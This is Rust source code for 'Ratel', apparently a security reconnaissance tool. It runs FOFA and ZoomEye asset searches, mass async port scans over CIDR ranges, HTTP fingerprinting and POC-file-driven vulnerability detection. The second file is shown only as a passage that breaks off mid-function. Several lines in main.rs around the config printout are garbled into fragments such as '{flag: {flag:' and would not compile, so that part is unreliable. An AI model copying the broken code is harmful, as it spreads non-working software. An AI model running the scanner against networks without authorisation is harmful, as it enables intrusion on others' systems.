1 | use std::fs;
2 | use std::io::Write;
3 | use std::thread;
4 | use std::time::Duration;
5 | use std::sync::{mpsc,Arc};
6 | use std::sync::mpsc::{Receiver, SyncSender};
7 | use std::collections::HashMap;
8 | use csv::Writer;
9 |
10 | use async_std::task::block_on;
11 | use futures::StreamExt;
12 | use futures::stream::FuturesUnordered;
13 | use dns_lookup::lookup_host;
14 | use cidr_utils::cidr::IpCidr;
15 | use cidr_utils::num_bigint::ToBigUint;
16 |
17 | use ratel::*;
18 | use ratel::RecordType::Other;
19 |
20 | fn passive(conf:PassiveConfig,result_sender:SyncSender) {
21 | if conf.searchs.len() == 0 {
22 | println!("[!] Passive search got nothing input");
23 | return;
24 | };
25 | let fofa_email = conf.fofa_email;
26 | let fofa_key = conf.fofa_key;
27 | let fofa_timeout = Duration::from_secs(conf.fofa_timeout);
28 | let fofa_retry_delay = Duration::from_secs(conf.fofa_retry_delay as u64);
29 | let fofa_delay = Duration::from_secs(conf.fofa_delay as u64);
30 |
31 | let zoomeye_keys = conf.zoomeye_keys;
32 | let zoomeye_timeout = Duration::from_secs(conf.zoomeye_timeout);
33 | let zoomeye_delay = Duration::from_secs(conf.zoomeye_delay as u64);
34 |
35 | let es = read_excludes(conf.exclude_files);
36 | let mut searchs = Vec::new();
37 | for s in conf.searchs.iter() {
38 | if !es.contains(s) {
39 | searchs.push(s.clone());
40 | }
41 | }
42 | drop(conf.searchs);
43 | drop(es);
44 | let searchs1 = Arc::new(searchs);
45 | let searchs2 = Arc::clone(&searchs1);
46 |
47 | let fofa_sender = result_sender.clone();
48 | let zoomeye_sender = result_sender.clone();
49 |
50 | let mut handlers = Vec::new();
51 | if conf.fofa_enable {
52 | if fofa_email != "" && fofa_key != "" {
53 | handlers.push(Some(thread::spawn(move||{
54 | fofa_search(conf.run_mod,searchs1,fofa_sender,fofa_email, fofa_key, conf.fofa_per_page_size, fofa_timeout,conf.passive_retries,fofa_retry_delay,fofa_delay,conf.auto_web_filter);
55 | })));
56 | } else {
57 | println!("[-] Fofa auth info not set... pass fofa query");
58 | }
59 | } else {
60 | println!("[-] Fofa disabled");
61 | }
62 |
63 | if conf.zoomeye_enable {
64 | if zoomeye_keys.len() > 0 {
65 | handlers.push(Some(thread::spawn(move||{
66 | zoomeye_search(conf.run_mod,searchs2,zoomeye_sender,zoomeye_keys,zoomeye_timeout,conf.passive_retries,zoomeye_delay,conf.auto_web_filter);
67 | //zoomeye_sender.send(Message::Content(Box::new(OtherRecord::new("zoomeye finished".to_string())))).unwrap();
68 | })));
69 | } else {
70 | println!("[-] Zoomeye keys not set... pass zoomeye query");
71 | }
72 | } else {
73 | println!("[-] Zoomeye disabled");
74 | }
75 | for h in handlers.iter_mut() {
76 | h.take().unwrap().join().unwrap();
77 | }
78 | result_sender.send(Message::Finished).unwrap();
79 | }
80 |
81 | async fn active(conf:ActiveConfig,result_sender:SyncSender) {
82 | let start_time = std::time::SystemTime::now();
83 | let mut target_iter = TargetIter::new();
84 | let mut open_records = Vec::new(); //有开放端口的主机
85 | if conf.targets.len() == 0 {
86 | println!("[!] Active port scan got nothing input");
87 | return;
88 | };
89 | let es = read_excludes(conf.exclude_files);
90 | for t in conf.targets.iter() {
91 | if es.contains(t) {
92 | continue;
93 | }
94 | if t.contains("/") {
95 | if let Ok(cidr) = IpCidr::from_str(t) {
96 | target_iter.append_cidr(cidr);
97 | } else {
98 | let info = t.to_string();
99 | println!("[-] Unknown host {}",t);
100 | result_sender.send(Message::Content(Box::new(
101 | OtherRecord::new(OtherRecordInfo::UnknownHost(info))
102 | ))).unwrap();
103 | }
104 | } else {
105 | match lookup_host(t) {
106 | Ok(h) => {
107 | let host = Host{
108 | host: t.to_string(),
109 | ip:h[0].to_string()
110 | };
111 | target_iter.append(host);
112 | },
113 | Err(_) => {
114 | let info = t.to_string();
115 | println!("[-] Unknown host {}",t);
116 | result_sender.send(Message::Content(Box::new(
117 | OtherRecord::new(OtherRecordInfo::UnknownHost(info))
118 | ))).unwrap();
119 | }
120 | }
121 | }
122 | }
123 | drop(conf.targets);
124 | drop(es);
125 | let targets_num = target_iter.total();
126 | if targets_num == &0.to_biguint().unwrap() {
127 | println!("[-] Active scan: no valid host.");
128 | return;
129 | };
130 | let ports_num = &conf.scan_ports.len().to_biguint().unwrap();
131 | println!("[-] Active scan: hosts:{} ports:{} total:{} limit:{}",targets_num,ports_num,targets_num*ports_num,conf.async_scan_limit);
132 | let mut active_record_iter = ActiveRecordIter::new(target_iter,conf.scan_ports).unwrap();
133 | let mut ftrs = FuturesUnordered::new();
134 | for _ in 0..conf.async_scan_limit {
135 | if let Some(record) = active_record_iter.next() {
136 | ftrs.push(scan_port(record,Duration::from_millis(conf.conn_timeout),conf.conn_retries));
137 | }
138 | }
139 | while let Some(record) = ftrs.next().await {
140 | if let Some(r) = record {
141 | open_records.push(r);
142 | }
143 | if let Some(r ) = active_record_iter.next() {
144 | ftrs.push(scan_port(r ,Duration::from_millis(conf.conn_timeout),conf.conn_retries));
145 | }
146 | }
147 | let used_time = std::time::SystemTime::now().duration_since(start_time).unwrap();
148 | println!("[-] Active scan: finished, total found:{}, time used {}.",open_records.len(),if used_time.as_secs() > 60 { format!("{} min {} s",used_time.as_secs()/60,used_time.as_secs()%60)} else { format!("{} s",used_time.as_secs()) });
149 | for r in open_records {
150 | result_sender.send(Message::Content(Box::new(r))).unwrap();
151 | }
152 | result_sender.send(Message::Finished).unwrap();
153 | }
154 |
155 | fn urls_finger(conf:UrlsConfig,result_sender:SyncSender) {
156 | if conf.urls.len() == 0 {
157 | println!("[!] Url scan got nothing input");
158 | return;
159 | };
160 | println!("[-] Url scan: total:{}",conf.urls.len());
161 | let es = read_excludes(conf.exclude_files);
162 | for u in conf.urls.iter() {
163 | if !es.contains(u) {
164 | if let Some(record) = url_to_passive_record(u) {
165 | result_sender.send(Message::Content(Box::new(record))).unwrap();
166 | };
167 | }
168 | }
169 | result_sender.send(Message::Finished).unwrap();
170 | }
171 |
172 | fn is_assets(rst_config:&ResultConfig,data:&Data) -> bool {
173 | for domain in rst_config.it_assets.0.iter() {
174 | if domain.contains(&data.host) || data.host.contains(domain) {
175 | return true;
176 | }
177 | for c_d in data.cert_domains.iter() {
178 | if c_d.contains(domain) {
179 | return true;
180 | }
181 | }
182 | }
183 | for ip in rst_config.it_assets.1.iter() {
184 | if ip.starts_with(&data.ip) || ip.starts_with(&data.host) {
185 | return true;
186 | }
187 | }
188 | return false;
189 | }
190 |
191 | async fn result_handler(detector:Detector,rst_config:ResultConfig,receiver:Receiver) {
192 | let mut results:Vec = Vec::new();
193 | let mut notices = Vec::new();
194 | let mut caches:HashMap = HashMap::new(); //{"host:port":cache} 最后和results合并
195 | let mut checked = String::with_capacity(1024*10); //记录已经check的host:port
196 | let mut excludes = String::with_capacity(1024*20); //记录排除的host:port
197 | for ef in rst_config.poc_exclude_files.iter() {
198 | read_csv_to_excludes(&mut excludes,ef);
199 | };
200 | let mut ftrs = FuturesUnordered::new();
201 | let mut ftrs_num = 0;
202 | let mut recv_finished = false;
203 | loop {
204 | if ftrs_num == rst_config.detect_limit {
205 | break;
206 | }
207 | if recv_finished {
208 | break;
209 | }
210 | if let Ok(m) = receiver.recv() {
211 | match m {
212 | Message::Content(mut record) => {
213 | //去重处理!///////////////////////////////////////////////////////////////////////////////// 保留title
214 | if record.record_type() == Other {
215 | notices.push(record);
216 | } else { //active passive
217 | let mut host_port = record.record().unwrap();
218 | let protocol = record.protocol();
219 | if protocol == "http" || protocol == "https" { //有的端口http https都可以访问,所以这里需要加上协议,否则可能跳过一些链接!
220 | host_port = format!("{}{}",protocol,host_port)
221 | }
222 | if excludes.contains(&host_port) {
223 | continue;
224 | } else {
225 | if checked.contains(&host_port) {
226 | let title = record.title().trim().to_string();
227 | let mut cert_domains = record.cert_domains().unwrap_or_else(||{vec![]});
228 | if let Some(cache) = caches.get_mut(&host_port) {
229 | if cache.title != title {
230 | cache.title += &title;
231 | }
232 | for _ in 0..cert_domains.len() {
233 | let domain = cert_domains.pop().unwrap();
234 | if !cache.cert_domains.contains(&domain) {
235 | cache.cert_domains.push(domain);
236 | }
237 | }
238 | } else {
239 | caches.insert(host_port,NoNeedCheckDataCache{title,cert_domains});
240 | }
241 | } else {
242 | checked.push_str(&(host_port+" "));
243 | ftrs.push(detector.detect(record));
244 | ftrs_num += 1;
245 | }
246 | }
247 | }
248 | },
249 | Message::Finished => {
250 | recv_finished = true;
251 | break;
252 | }
253 | }
254 | } else {
255 | recv_finished = true;
256 | break;
257 | }
258 | }
259 | while let Some(data) = ftrs.next().await { //注意了 等待一个future完成,则接收一个record,如果这个record没有push到futures中!,那么实际上futures会比record少,这时futures执行完了,record可能还没发送完,就会出现bug!
260 | if let Some(mut data) = data {
261 | if data.level >= rst_config.print_level && data.status_code > 0 {
262 | println!("[+] Found {}://{}:{} [{}] [{}] {:?}",data.protocol,data.host,data.port,data.status_code,data.title,data.infos);
263 | }
264 | data.is_assets = is_assets(&rst_config,&data);
265 | results.push(data);
266 | }
267 | if !recv_finished {
268 | if let Ok(m) = receiver.recv() {
269 | match m {
270 | Message::Content(mut record) => {
271 | if record.record_type() == Other {
272 | notices.push(record);
273 | ftrs.push(detector.detect(Box::new(OtherRecord::new(OtherRecordInfo::Padding))));
274 | } else {
275 | let mut host_port = record.record().unwrap();
276 | let protocol = record.protocol();
277 | if protocol == "http" || protocol == "https" { //有的端口http https都可以访问,所以这里需要加上协议,否则可能跳过一些链接!
278 | host_port = format!("{}{}",protocol,host_port)
279 | }
280 | if excludes.contains(&host_port) {
281 | ftrs.push(detector.detect(Box::new(OtherRecord::new(OtherRecordInfo::Padding)))); //需要push一个future 平衡futures和record的数量
282 | } else {
283 | if checked.contains(&host_port) {
284 | let title = record.title().trim().to_string();
285 | let mut cert_domains = record.cert_domains().unwrap_or_else(||{vec![]});
286 | if let Some(cache) = caches.get_mut(&host_port) {
287 | if cache.title != title {
288 | cache.title += &title;
289 | }
290 | for _ in 0..cert_domains.len() {
291 | let domain = cert_domains.pop().unwrap();
292 | if !cache.cert_domains.contains(&domain) {
293 | cache.cert_domains.push(domain);
294 | }
295 | }
296 | } else {
297 | caches.insert(host_port,NoNeedCheckDataCache{title,cert_domains});
298 | }
299 | ftrs.push(detector.detect(Box::new(OtherRecord::new(OtherRecordInfo::Padding)))); //需要push一个future 平衡futures和record的数量
300 | } else {
301 | checked.push_str(&(host_port+" "));
302 | ftrs.push(detector.detect(record));
303 | }
304 | }
305 | }
306 | },
307 | Message::Finished => {
308 | recv_finished = true;
309 | }
310 | }
311 | } else {
312 | recv_finished = true;
313 | }
314 | }
315 | }
316 | //println!("{:?}",caches);
317 | for data in results.iter_mut() {
318 | let host_port = format!("{}:{}",data.host,data.port);
319 | if let Some(cache) = caches.get_mut(&host_port) {
320 | if data.title != cache.title {
321 | data.title += &cache.title;
322 | }
323 | for _ in 0..cache.cert_domains.len() {
324 | let d = cache.cert_domains.pop().unwrap();
325 | data.cert_domains.push(d);
326 | }
327 | }
328 | }
329 |
330 | if notices.len() > 0 {
331 | let notice_path = &format!("{}_results_notice.txt",rst_config.output_file_name);
332 | if let Ok(mut f) = fs::OpenOptions::new().create(true).write(true).open(notice_path) {
333 | for r in notices {
334 | let info = [r.record().unwrap().as_bytes(),b"\n"].concat();
335 | f.write(&info).unwrap();
336 | }
337 | } else {
338 | println!("[!] Can not open result notice file {}! notice will be printed to stdout.",notice_path);
339 | for r in notices {
340 | println!("{}",r.record().unwrap());
341 | }
342 | }
343 | };
344 |
345 | if results.len() > 0 {
346 | let result_path = &format!("{}_results.csv",rst_config.output_file_name);
347 | let mut wrt = Writer::from_writer(vec![]);
348 | wrt.write_record(RST_COLS).unwrap();
349 | for d in results.iter() {
350 | if let Err(_) = write_data_to_csv(&mut wrt, d) {
351 | println!("{:?}",d);
352 | }
353 | }
354 | let data = wrt.into_inner().unwrap();
355 | let estr = rst_config.output_encode.to_lowercase();
356 | let rst = if estr != "utf-8" && estr != "utf_8" {
357 | if let Some(encoding) = encoding_rs::Encoding::for_label(rst_config.output_encode.as_bytes()) {
358 | let (dec_data,_,_) = encoding_rs::UTF_8.decode(&data);
359 | let (data,_,_) = encoding.encode(&dec_data);
360 | data.to_vec()
361 | } else {
362 | println!("[!] unsupported encoding type {}",rst_config.output_encode);
363 | data
364 | }
365 | } else {
366 | data
367 | };
368 | if let Ok(mut f) = fs::OpenOptions::new().create(true).write(true).open(result_path) {
369 | let _ = f.write_all(&rst);
370 | } else {
371 | println!("[!] Can not save results to file {}! results will be printed to stdout.",result_path);
372 | for d in results.iter() {
373 | println!("{:?}\n",d);
374 | }
375 | return;
376 | }
377 | println!("[-] Result saved in \"{}\",total {}.",result_path,results.len());
378 | } else {
379 | println!("[!] No results found");
380 | }
381 | }
382 |
383 | static BANNER:&'static str = r"______________________________________________________
384 | ______ ______ ______ ______ __
385 | /\ == \ /\ __ \ /\__ _\ /\ ___\ /\ \
386 | \ \ __< \ \ __ \ \/_/\ \/ \ \ __\ \ \ \____
387 | \ \_\ \_\ \ \_\ \_\ \ \_\ \ \_____\ \ \_____\
388 | \/_/ /_/ \/_/\/_/ \/_/ \/_____/ \/_____/
389 | _____________________________________Author: h4cnull__
390 | ";
391 |
392 | fn main() {
393 | println!("{}",BANNER);
394 | let start_time = std::time::SystemTime::now();
395 | let (rst_config,conf) = get_config();
396 | println!("=> {flag: {flag: {flag: {flag: { if a.async_scan_limit as usize > rst_con_num { a.async_scan_limit as usize } else { rst_con_num } },_=> rst_con_num + 2 };
402 | println!("=> {flag: {flag: {
410 | match serde_json::from_str::(json_str.trim()) {
411 | Ok(pocs) => {
412 | pocs.pocs
413 | },
414 | Err(e) => {
415 | println!("[!] Parse POC file {} error: {}",pocs_file,e.to_string());
416 | std::process::exit(-1);
417 | }
418 | }
419 | },
420 | Err(e) => {
421 | println!("[!] Read POC file {} error: {:?}",pocs_file,e.kind());
422 | std::process::exit(-1);
423 | }
424 | };
425 | println!("[-] Total pocs {}",pocs.len());
426 | pocs
427 | };
428 | let detector = Detector::new(&rst_config, pocs);
429 | //println!("=> ip:port detect limit: {}",rst_config.detect_limit);
430 | let (result_sender,result_receiver) = mpsc::sync_channel::(rst_config.detect_limit as usize);
431 | let mut handlers = Vec::new();
432 | handlers.push(Some(thread::spawn(move||{
433 | block_on(result_handler(detector,rst_config, result_receiver));
434 | })));
435 | match conf {
436 | Config::Passive(p) => {
437 | handlers.push(Some(thread::spawn(move||{
438 | passive(p,result_sender)}
439 | )));
440 | },
441 | Config::Active(a) => {
442 | handlers.push(Some(thread::spawn(move||{
443 | block_on(active(a,result_sender));
444 | })));
445 | },
446 | Config::Urls(u) => {
447 | handlers.push(Some(thread::spawn(move||{
448 | urls_finger(u,result_sender);
449 | })));
450 | }
451 | }
452 | for h in handlers.iter_mut() {
453 | h.take().unwrap().join().unwrap();
454 | }
455 | let used_time = std::time::SystemTime::now().duration_since(start_time).unwrap();
456 | println!("[-] Time used {}.",if used_time.as_secs() > 60 { format!("{} min {} s",used_time.as_secs()/60,used_time.as_secs()%60)} else { format!("{} s",used_time.as_secs()) });
457 | }
458 |
--------------------------------------------------------------------------------
/src/lib.rs:
--------------------------------------------------------------------------------
1 |
2 | use std::fs;
3 | use std::process::exit;
4 |
5 | use regex::Regex;
6 | use serde::Deserialize;
7 | use chrono::{prelude::*, format::format};
8 | use rand::prelude::*;
9 | use clap::{App, AppSettings, Arg, ErrorKind};
10 |
11 | mod ports_parser;
12 | use ports_parser::PortsParser;
13 |
14 | mod passive;
15 | pub use passive::*;
16 |
17 | mod http_banner;
18 | pub use http_banner::*;
19 |
20 | mod result_struct;
21 | pub use result_struct::*;
22 |
23 | mod active;
24 | pub use active::*;
25 |
26 | mod detect_mod;
27 | pub use detect_mod::*;
28 |
29 | static CONFIG_FILE:&'static str = "config";
30 | static CONFIG_TOML:&'static str = "#toml config file
31 | fofa_enable = true
32 | fofa_email = ''
33 | fofa_key = ''
34 | fofa_per_page_size = 1000
35 | fofa_timeout = 10
36 | fofa_retry_delay = 1
37 | fofa_delay = 0 #second
38 |
39 | zoomeye_enable = true
40 | zoomeye_keys = []
41 | #zoomeye_keys = ['key1','key2']
42 | zoomeye_timeout = 10
43 | zoomeye_delay = 2 #second
44 |
45 | auto_web_filter = true #搜索cidr时自动添加http过滤条件
46 | passive_retries = 3
47 |
48 | default_scanports = '80-89,443,666,888,1000-1010,6000-6010,6666,7000-7010,8000-8100,8800-8890,9000-9010,9999,60000-60001,65535'
49 | async_scan_limit = 800
50 |
51 | conn_timeout = 2500 #millisecond
52 | conn_retries = 1 #主动扫描重试次数,确保可靠性
53 |
54 | http_timeout = 15 #second
55 | follow_redirect = true #仅影响http banner探测时是否跟随重定向。
56 |
57 | default_pocs_json_path = 'fingers.json'
58 | detect_limit = 100 # 不同ip:port地址探测时的并发数量限制
59 | per_url_limit = 10 # 每个url进行poc验证时的并发数量限制,过高的数量可能被waf封锁
60 |
61 | #注意limit值过高会超过io瓶颈,影响准确性,http探测默认100*10,探测并发不超过1000。在linux下值过高可能会出现too many open files!,需更改linux配置。
62 |
63 | print_level = 0 #打印级别,可访问http资产level默认为0。poc的level默认为1。
64 | output_encode = 'gbk' #utf-8 windows-1250 iso-8859-16 etc...";
65 |
66 | #[derive(Deserialize)]
67 | struct TomlConf {
68 | fofa_enable: bool,
69 | fofa_email: String,
70 | fofa_key: String,
71 | fofa_per_page_size: u16,
72 | fofa_timeout: u64,
73 | fofa_retry_delay: u8,
74 | fofa_delay: u8,
75 | zoomeye_enable: bool,
76 | zoomeye_keys: Vec,
77 | zoomeye_timeout: u64,
78 | zoomeye_delay: u8,
79 | auto_web_filter: bool,
80 | passive_retries: u8,
81 | default_scanports: String,
82 | async_scan_limit: u16,
83 | conn_timeout: u64,
84 | conn_retries: u8,
85 | http_timeout: u64,
86 | follow_redirect: bool,
87 | default_pocs_json_path: String,
88 | detect_limit: u16,
89 | per_url_limit: u16,
90 | print_level: u8,
91 | output_encode: String,
92 | }
93 |
94 | #[derive(Debug)]
95 | pub struct PassiveConfig {
96 | pub run_mod: PassiveMod,
97 | pub searchs: Vec, //搜索字符串
98 | pub exclude_files: Vec,
99 | pub fofa_enable: bool,
100 | pub fofa_email: String,
101 | pub fofa_key: String,
102 | pub fofa_per_page_size: u16,
103 | pub fofa_timeout: u64,
104 | pub fofa_retry_delay: u8,
105 | pub fofa_delay: u8,
106 | pub zoomeye_enable: bool,
107 | pub zoomeye_keys: Vec,
108 | pub zoomeye_timeout: u64,
109 | pub zoomeye_delay: u8,
110 | pub auto_web_filter: bool,
111 | pub passive_retries: u8
112 | }
113 |
114 | #[derive(Debug)]
115 | pub struct ActiveConfig {
116 | pub targets: Vec,
117 | pub exclude_files: Vec,
118 | pub async_scan_limit: u16,
119 | pub scan_ports: Vec,
120 | pub conn_timeout: u64,
121 | pub conn_retries: u8,
122 | }
123 |
124 | #[derive(Debug)]
125 | pub struct UrlsConfig {
126 | pub urls: Vec, //从urls文件读取
127 | pub exclude_files: Vec
128 | }
129 |
130 | #[derive(Debug)]
131 | pub struct ResultConfig { //处理结果的配置
132 | pub pocs_file: String,
133 | pub conn_timeout: u64,
134 | pub conn_retries: u8,
135 | pub http_timeout: u64,
136 | pub follow_redirect: bool,
137 | pub poc_exclude_files: Vec, //排除文件
138 | pub disable_poc: bool,
139 | pub detect_limit: u16, //url limit
140 | pub per_url_limit: u16,
141 | pub it_assets: (Vec,Vec), //资产, ([domain],[ip])
142 | pub print_level: u8,
143 | pub output_file_name: String,
144 | pub output_encode: String,
145 | }
146 |
147 | #[derive(Debug)]
148 | pub enum Config {
149 | Passive(PassiveConfig),
150 | Active(ActiveConfig),
151 | Urls(UrlsConfig)
152 | }
153 |
154 | pub enum Message {
155 | Content(Box),
156 | Finished
157 | }
158 |
159 | fn rand_string(len:usize)-> String {
160 | let chars = b"abcdefghijklmnopqrstuvwxyz0123456789";
161 | let chars_len = chars.len();
162 | let mut rng = rand::thread_rng();
163 | let mut rst = Vec::with_capacity(len);
164 | for _ in 0..len {
165 | let c = chars[rng.gen_range(0..chars_len)];
166 | rst.push(c);
167 | }
168 | String::from_utf8(rst).unwrap()
169 | }
170 |
171 |
172 | pub fn get_config()-> (ResultConfig,Config) {
173 | let app = App::new("Ratel").settings(&vec![AppSettings::DisableVersion,AppSettings::DisableHelpSubcommand])
174 | .help(" Usage: Ratel -s | -t | -i | -f file < --passive | --active | --urls | --recovery >
175 | Options:
176 | -s,--string passive search string with api(etc: domain=\\\"example.com\\\",character need be escaped).
177 |
178 | -t,--targets active scan targets host(separated by comma).
179 |
180 | -i,--stdin read from stdin(or output of a process piped).
181 | -f,--file read from file(separated by newline).
182 | --passive specify the file|stdin as string list.
183 | --active specify the file|stdin as target list.
184 | --urls specify the file|stdin as url list.
185 | --recovery read error page or break page from notice result,recovery api query.
186 |
187 | -o,--output output filename prefix(default current time + random chars,result contains xxx_result.xlsx or xxx_result_notice.txt(for recovery)).
188 | -p,--ports specify active scan ports(etc:80-100,443, default from config file).
189 | -l,--limit port scan limit(default from config file,max 65535).
190 | --timeout port scan timeout(millisecond,default from config file).
191 | --retry port scan retry(default from config file).
192 | -P,--poc-file specify the POC file(default from config file).
193 | -e,--exclude pasive,active,urls exclude files(separated by comma).
194 | --poc-exclude poc detecting exclude targets file(must be Ratel output .xlsx result,separated by comma).
195 | --disable-poc disable poc mod.
196 | --fofa-size fofa per page size.
197 | -h,--help print help.")
198 | .arg(Arg::with_name("passive")
199 | .conflicts_with("active")
200 | .conflicts_with("targets") //targets 配合active参数
201 | .conflicts_with("recovery")
202 | .conflicts_with("ports")
203 | .conflicts_with("limit")
204 | .conflicts_with("timeout")
205 | .conflicts_with("retry")
206 | .takes_value(false)
207 | .long("passive")
208 | )
209 | .arg(Arg::with_name("active")
210 | .conflicts_with("search_string") //search_string 配合的passive参数
211 | .conflicts_with("urls")
212 | .takes_value(false)
213 | .long("active")
214 | )
215 | .arg(Arg::with_name("urls")
216 | .conflicts_with("passive")
217 | .conflicts_with("active")
218 | .conflicts_with("recovery")
219 | .conflicts_with("targets") //targets 配合active参数
220 | .conflicts_with("search_string") //search_string 配合的passive参数
221 | .conflicts_with("ports")
222 | .conflicts_with("limit")
223 | .conflicts_with("timeout")
224 | .conflicts_with("retry")
225 | .takes_value(false)
226 | .long("urls"))
227 | .arg(Arg::with_name("recovery")
228 | .conflicts_with("passive")
229 | .conflicts_with("active")
230 | .conflicts_with("targets") //targets 配合active参数
231 | .conflicts_with("search_string")
232 | .conflicts_with("ports")
233 | .conflicts_with("limit")
234 | .conflicts_with("timeout")
235 | .conflicts_with("retry")
236 | .takes_value(false)
237 | .long("recovery")
238 | )
239 | .arg(Arg::with_name("search_string")
240 | .short("s")
241 | .long("string")
242 | .takes_value(true)
243 | .conflicts_with("targets")
244 | .conflicts_with("ports")
245 | .conflicts_with("limit")
246 | .conflicts_with("timeout")
247 | .conflicts_with("retry")
248 | .conflicts_with("stdin"))
249 | .arg(Arg::with_name("targets")
250 | .short("t")
251 | .long("targets")
252 | .takes_value(true)
253 | .conflicts_with("stdin"))
254 | .arg(Arg::with_name("stdin")
255 | .short("i")
256 | .long("stdin")
257 | .takes_value(false))
258 | .arg(Arg::with_name("file_list")
259 | .short("f")
260 | .long("file")
261 | .takes_value(true)
262 | .required_unless_one(&vec!["search_string","targets","stdin"]))
263 | .arg(Arg::with_name("output")
264 | .short("o")
265 | .long("output")
266 | .takes_value(true))
267 | .arg(Arg::with_name("ports")
268 | .short("p")
269 | .long("ports")
270 | .takes_value(true))
271 | .arg(Arg::with_name("limit")
272 | .short("l")
273 | .long("limit")
274 | .takes_value(true))
275 | .arg(Arg::with_name("timeout")
276 | .long("timeout")
277 | .takes_value(true))
278 | .arg(Arg::with_name("retry")
279 | .long("retry")
280 | .takes_value(true))
281 | .arg(Arg::with_name("pocs_file")
282 | .short("P")
283 | .long("poc-file")
284 | .conflicts_with("disable_poc")
285 | .takes_value(true))
286 | .arg(Arg::with_name("exclude_files")
287 | .short("e")
288 | .long("exclude")
289 | .takes_value(true))
290 | .arg(Arg::with_name("poc_exclude_files")
291 | .long("poc-exclude")
292 | .takes_value(true))
293 | .arg(Arg::with_name("disable_poc")
294 | .long("disable-poc")
295 | .takes_value(false))
296 | .arg(Arg::with_name("fofa_per_page_size")
297 | .conflicts_with("active")
298 | .conflicts_with("targets") //targets 配合active参数
299 | .conflicts_with("ports")
300 | .conflicts_with("limit")
301 | .conflicts_with("timeout")
302 | .conflicts_with("retry")
303 | .conflicts_with("urls")
304 | .long("fofa-size")
305 | .takes_value(true));
306 | let app_matches = app.get_matches_safe().unwrap_or_else(|e| {
307 | //println!("{}",e.message);
308 | match e.kind {
309 | ErrorKind::HelpDisplayed => {
310 | println!("{}",e.message);
311 | },
312 | ErrorKind::ArgumentConflict => {
313 | println!("arguments conflicts, \"-h\" print help.");
314 | },
315 | ErrorKind::EmptyValue => {
316 | println!("empty value, \"-h\" print help.");
317 | },
318 | ErrorKind::UnexpectedMultipleUsage => {
319 | println!("multiple values to an argument, \"-h\" print help.");
320 | },
321 | ErrorKind::MissingRequiredArgument => {
322 | println!("not provide required arguments, <-s|-t|-f|-i>, \"-h\" print help.");
323 | },
324 | _ => {
325 | println!("\"-h\" print help.");
326 | }
327 | }
328 | exit(-1);
329 | });
330 | let exclude_files = if let Some(ef) = app_matches.value_of("exclude_files") {
331 | ef.split(',').map(|s|{s.to_string()}).collect::>()
332 | } else {
333 | vec![]
334 | };
335 |
336 | let poc_exclude_files = if let Some(ef) = app_matches.value_of("poc_exclude_files") {
337 | ef.split(',').map(|s|{s.to_string()}).collect::>()
338 | } else {
339 | vec![]
340 | };
341 | let disable_poc = app_matches.is_present("disable_poc");
342 | let mut self_file_name = std::env::current_exe().unwrap();
343 | self_file_name.set_file_name(CONFIG_FILE);
344 | let conf_file = self_file_name.to_str().unwrap();
345 | let s = fs::read_to_string(conf_file).unwrap_or_else(|e| {
346 | match e.kind() {
347 | std::io::ErrorKind::NotFound => {
348 | println!("[-] Not found config file \"{}\",ratel will creating it,using defalut config...",conf_file);
349 | fs::write(conf_file,CONFIG_TOML).unwrap_or_else(|e|{
350 | println!("[-] Can not create config file: {:?}",e.kind());
351 | });
352 | },
353 | _ => {
354 | println!("[-] Reading config file \"{}\" error: {:?},using defalut config...",CONFIG_FILE,e.kind());
355 | }
356 | };
357 | CONFIG_TOML.to_string()
358 | });
359 | let toml_conf = toml::from_str::(&s).unwrap_or_else(|e|{
360 | println!("[!] Parse onfig file \"{}\" error: {}",CONFIG_FILE,e.to_string());
361 | exit(-1);
362 | });
363 | let async_scan_limit = if let Some(l) = app_matches.value_of("limit") {
364 | if let Ok(n) = l.parse::() {
365 | n
366 | } else {
367 | println!("argument need a number value, max 65535. \"-h\" print help.");
368 | exit(-1);
369 | }
370 | } else {
371 | toml_conf.async_scan_limit
372 | };
373 | let conn_timeout = if let Some(l) = app_matches.value_of("timeout") {
374 | if let Ok(n) = l.parse::() {
375 | n
376 | } else {
377 | println!("argument need a number value. \"-h\" print help.");
378 | exit(-1);
379 | }
380 | } else {
381 | toml_conf.conn_timeout
382 | };
383 | let conn_retries = if let Some(l) = app_matches.value_of("retry") {
384 | if let Ok(n) = l.parse::() {
385 | n
386 | } else {
387 | println!("argument need a number value, max 255. \"-h\" print help.");
388 | exit(-1);
389 | }
390 | } else {
391 | toml_conf.conn_retries
392 | };
393 | let now = Local::now();
394 | let output_file_name = if let Some(fname) = app_matches.value_of("output") {
395 | if std::path::Path::new(&format!("{}_results.csv",fname)).exists() {
396 | fname.to_string() + "_" + &rand_string(5)
397 | } else {
398 | fname.to_string()
399 | }
400 | } else {
401 | now.format("%Y-%m%d-%H%M_").to_string() + &rand_string(5)
402 | };
403 |
404 | let mut all = Vec::new();
405 | if let Some(list_file)= app_matches.value_of("file_list") {
406 | match read_file_to_list(list_file) {
407 | Ok(mut content) => {
408 | all.append(&mut content);
409 | },
410 | Err(ekind) => {
411 | println!("[!] Read file list {} error: {:?}",list_file,ekind);
412 | exit(-1);
413 | }
414 | }
415 | };
416 | if app_matches.is_present("stdin") {
417 | loop {
418 | let mut line = String::new();
419 | if let Ok(size) = std::io::stdin().read_line(&mut line) {
420 | if size > 0 {
421 | let line = line.trim();
422 | if line.len() > 0 {
423 | all.push(line.to_string());
424 | }
425 | } else {
426 | break;
427 | }
428 | } else {
429 | break;
430 | }
431 | }
432 | }
433 | let mut passive = false;
434 | let mut active = false;
435 | if let Some(s) = app_matches.value_of("search_string") {
436 | passive = true;
437 | all.push(s.to_string());
438 | } else if let Some(s) = app_matches.value_of("targets") {
439 | active = true;
440 | let mut tmp = s.split(",").map(|s|s.to_string()).collect::>();
441 | all.append(&mut tmp);
442 | };
443 |
444 | let domain_regex = Regex::new("^(?:[a-zA-Z0-9][-a-zA-Z0-9]{0,62}\\.)+[a-zA-Z]+$").unwrap();
445 | let ip_regex = Regex::new("^((?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))$").unwrap();
446 | let cidr_regex = Regex::new("^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)/[0-9]+$").unwrap();
447 | let mut domains = Vec::new();
448 | let mut ips = Vec::new();
449 | //提取ip和domain,以此在结果中标记资产
450 | for i in all.iter() {
451 | if domain_regex.is_match(i) {
452 | //println!("{}",i); ////////////////////////////
453 | domains.push(i.to_string());
454 | }
455 | if ip_regex.is_match(i) || cidr_regex.is_match(i) {
